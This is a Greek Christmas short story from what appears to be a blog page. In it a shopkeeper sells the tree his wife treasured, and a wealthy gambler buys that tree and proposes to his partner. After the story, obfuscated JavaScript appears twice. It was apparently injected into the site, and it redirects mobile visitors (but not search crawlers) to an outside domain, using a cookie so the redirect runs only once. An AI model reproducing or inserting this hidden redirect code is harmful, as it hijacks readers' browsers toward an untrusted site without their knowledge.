Ο έμπορος με τη γυναίκα του σηκώνουν τα ποτήρια και εύχονται το 2011 να τους φέρει το πολυπόθητο παιδάκι που κυνηγάνε με τόσο πάθος. Ο έμπορος αδειάζοντας το ποτήρι του σηκώνεται και με επίσημο ύφος βγάζει το πακετάκι. “Μου πήρες δώρο χωρίς να καταλάβω τίποτε;” ρωτάει εκείνη. “Ήταν της τελευταίας στιγμής” της απαντάει. Η γυναίκα ανοίγει προσεκτικά το δεματάκι και τα μάτια της φωτίζονται από χαρά. Ακολουθούν μεταπτώσεις στα συναισθήματα η χαρά γίνεται απορία και η απορία φόβος. “Τι έγινε; κερδίσαμε κάτι , κάποιο λαχείο; έπαιξες κίνο; μήπως πούλησες το αυτοκίνητο; πες μου αμέσως πούλησες το αυτοκίνητό μας;” “Όχι , όχι δεν πούλησα το αυτοκίνητο. Πούλησα κάτι που είχαμε στο μαγαζί ” “ Στο μαγαζί;” λεει η γυναίκα με απορία. “Τι είχαμε στο μαγαζί που να κοστίζει τόσα πολλά;” “Πούλησα το δέντρο και το διάκοσμο” λέει ο έμπορος με ύφος θριάμβου. “Το δέντρο; Πούλησες το δέντρο μας; Θεέ μου αλήθεια λες ότι πούλησες το δέντρο μας;” “Ε ναι , και το έδωσα σε καλή τιμή . Εκεί …” και δείχνει το δεματάκι με ένα νεύμα “…είναι 6,5 χιλιάρικα. Έχουμε πληρωμένες όλες τις υποχρεώσεις μας μέχρι το τέλος της χρονιάς.” “Αυτό το δέντρο ήταν το γούρι μου. Δεν ήταν για πούλημα . Ήταν για το παιδί μας. Τα είχα σχεδιάσει όλα τόσο τέλεια απόψε και μου τα χάλασες. Αυτό το δέντρο συμβολίζει την καινούρια χρονιά, συμβολίζει για μένα το παιδί που περιμένουμε. Ωωωω!! τα είχα σχεδιάσει … είμαι στη δέκατη τρίτη μέρα απόψε , ήθελα να κάνουμε έρωτα , να νοιώσουμε αγάπη , αγάπη για το παιδί μας.” Ο έμπορος για να μη την αφήσει να παρασύρεται σε παραλληρήματα και μαγικές εικόνες προσπάθησε να την προσγειώσει. “Ξέρεις το αγόρασαν ένα ζευγάρι , πολύ πλούσιοι και… τους υποσχέθηκα ότι θα τους το πάμε αύριο και συ θα διακοσμήσεις το χώρο τους.” “Το ήξερα , το ήξερα πόσο αδίστακτος είσαι. Σε νοιάζει μόνο το χρήμα. Ήθελα να σου πω πριν ότι μ’ αυτό δέντρο πούλησες και μένα μαζι , αλλά με έχεις πουλήσει ήδη χωρίς να με ρωτήσεις .” “Δεν μπορώ να σε καταλάβω , δέντρο αγοράζουμε όποτε θέλουμε , στολίζουμε και το Φεβρουάριο άμα γουστάρουμε , το θέμα είναι ότι τώρα πληρώνουμε τα χρέη μας χωρίς αγωνίες και σκέψεις. Πάμε διακοπές . Κλείνουμε το μαγαζί και πάμε όπου θες και επιστρέφουμε 5 Ιανουαρίου.” “Δεν είναι τόσο απλά τα πράγματα. Για μένα δεν υπάρχει αγάπη , για μένα όλα τέλειωσαν απόψε. Μπορεί να βρήκες τα χρήματα αλλά έχασες εμένα.” “Είμαι τόσα χρόνια έμπορος . Μπορώ να πουλήσω κομπιούτερ στην αμερική και πετρέλαιο στους άραβες. Θα τα καταφέρω και μάλιστα θα τους πείσω ότι τα δικά μου είναι τα καλύτερα. Όμως μπροστά στη γυναίκα παραμένω αρχάριος . Μένω στην ίδια τάξη. Ξεκινάω πάντα από την Πρώτη Δημοτικού” “Εγώ δεν έρχομαι αύριο στο σπίτι αυτών των ξενέροτων . Ανήμερα Χριστούγεννα να τους στολίσουμε το σπίτι; Δεν μπορεί να ξεπέσαμε τόσο.” “Έλα τώρα. Να σκέφτεσαι μόνο ότι τα καταφέραμε. Οι άλλοι κλαίγονται ότι δεν τους φθάνουν τα λεφτά και μεις τα έχουμε στην τσέπη μας. Κοίτα πόσα μαγαζάκια κλείνουν. Κοίτα τι γίνεται γύρω μας. Να χαίρεσαι που τα καταφέρνουμε .”
Η γυναίκα έσκυψε το κεφάλι και έμεινε σκεφτική αρκετή ώρα. Η βραδιά εξελίχθηκε χάλια. Κανείς από τους δύο δεν άγγιξε το φαγητό. Ο άντρας της πήρε ένα ποτήρι κρασί και κάθισε πιο κοντά στην τηλεόραση. Μετά από ώρα η γυναίκα είπε : “Φοβάμαι πως δεν θα τα καταφέρω να μείνω έγκυος.” Ο άντρας συνέχισε να κοιτάζει τηλεόραση. Δάκρυα κύλησαν στα μάτια της και ανάμεσα σε λυγμούς συνέχισε: “Μπορεί να βρούμε τους καλύτερους γιατρούς και τα καλύτερα ιατρικά κέντρα , αλλά για το παιδί μας δεν θα κάνουμε τίποτε.” “Μα τι θα μπορούσαμε να κάνουμε;” είπε αγανακτισμένος εκείνος . “Να δεν νομίζω ότι το αγαπάμε αυτό το πλάσμα που περιμένουμε. Εσύ ειδικά κοιτάς μόνο τη δουλειά και το χρήμα” “Δεν πιστεύω τώρα να μου αραδιάσεις τις θεωρείες εκείνου του ειδικευόμενου;” “Νομίζω πως δεν είχε άδικο…” επέμεινε η γυναίκα και ξέσπασε σε κλάματα.
25/12/2010 . Ώρα 3:00 το πρωί. Στο ρετιρέ ο Τιβέριος μετά απο ένα δίωρο γκαντεμιάς στην πόκα έχανε καμιά 20αριά χιλιάρικα. Η Σάντρα “τιτίβιζε” με τις άλλες για τις γνωστές ανασφάλειες που ταλαιπωρούν τις πλούσιες. Κάποια στιγμή βαρέθηκε και πήγε στο τραπέζι του παιχνιδιού και του ζήτησε να μιλήσουν ιδιαιτέρως. Αντί να του μιλήσει τον άκουσε να της λέει ότι χάνει τα 20 και ότι “μυρίζεται” στημένο παιγνίδι , αλλά είναι τόσο ζαλισμένος που δεν μπορεί να βγάλει συμπέρασμα. Επειδή λοιπόν πρόκειται να χάσει πολύ περισσότερα , της πρότεινε να έρθει σελίγο ,να διακόψει το παιγνίδι με τις φωνές της κάνοντας ότι υποφέρει , ότι έχει πάλι εκείνο τον κολικό στα νεφρά για να φύγουν άμεσα. Η Σάντρα πήρε ένα ύφος γυναίκας που υποφέρει και επιστρέφοντας στα κορίτσια τους είπε για τον κολικό που την ταλαιπωρεί κατα καιρούς στο νεφρό της. Σε λίγο , χωρίς να προλάβει να την εμποδίσει κανείς , πήγε και έπεσε πάνω στην πράσινη τσόχα καταστρέφοντας την παρτίδα. “Τιβέριε , πονάω , δεν αντέχω άλλο , πονάω πολύ σου λέω …” Ο Τιβέριος σηκώθηκε , όλοι σηκώθηκαν όρθιοι εκτός από τους “εμπλεκόμενους” που κοιτάχτηκαν μεταξύ τους ξαφνιασμένοι. Η Σάντρα συνέχισε το θέατρο και δύο κύριοι προσφέρθηκαν να βοηθήσουν τον Τιβέριο να τη μεταφέρει στο τζιπ. Το αυτοκίνητο βγήκε σπινιάροντας από το γκαράζ. Η Σάντρα τον αγκάλιασε δυσκολεύοντας τον να οδηγήσει. Ο Τιβέριος έκανε ένα κύκλο το τετράγωνο και γύρισε και σταμάτησε μπροστά στο μίνι μάρκετ . Η Σάντρα κατέβηκε και πήγε στη βιτρίνα με το ακριβό δέντρο ο Τιβέριος τής έδωσε το πακετάκι. Πρίν το ανοίξει η Σάντρα με χέρια που έτρεμαν του είπε “ Πίστευα πως δεν θα μου το αγόραζες”(το χριστουγεννιάτικο δέντρο εννοείται) “ Θα μπορούσα να κάνω πολύ περισσότερα για σένα .” Είπε ο Τιβέριος και της πέρασε το μονόπετρο στο δάχτυλο. Ένα δάκρυ κύλησε στα μάτια της Σάντρας και ο Τιβέριος είπε: “Χάσαμε πολύ χρήμα απόψε. Είμαι παράτολμος στα οικονομικά μου…και αναρωτιέμαι αν θα ήθελες να με παντρευτείς”
Ο έμπορος μπροστά στην τηλεόραση σκέφτεται τον τρόπο να την πείσει να δείξουν συνέπεια για την αυριανή διακόσμηση του ξένου σπιτιού. Η γυναίκα έχει αποσυρθεί στο υπνοδωμάτιο. Το πιθανώτερο είναι να συνεχίζει να κλαίει μεσα στο απόλυτο σκοτάδι. Ποιός μπορεί όμως να τα βάλλει με μια τραυματισμένη τίγρη; Έκανε λοιπόν το αυτονόητο. Πάτησε το κόκκινο κουμπί στο τηλεχειριστήριο και πήγε να ξαπλώσει δίπλα της.
Ο Τιβέριος αγκάλιασε τη Σάντρα και τα χείλη τους ενώθηκαν σε ένα “παρατεταμμένο” φιλί. Στο ρετιρέ το παιγνίδι συνεχιζόταν.
Merry Christmas
akaras1979@yahoo.gr var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}
anwnymous 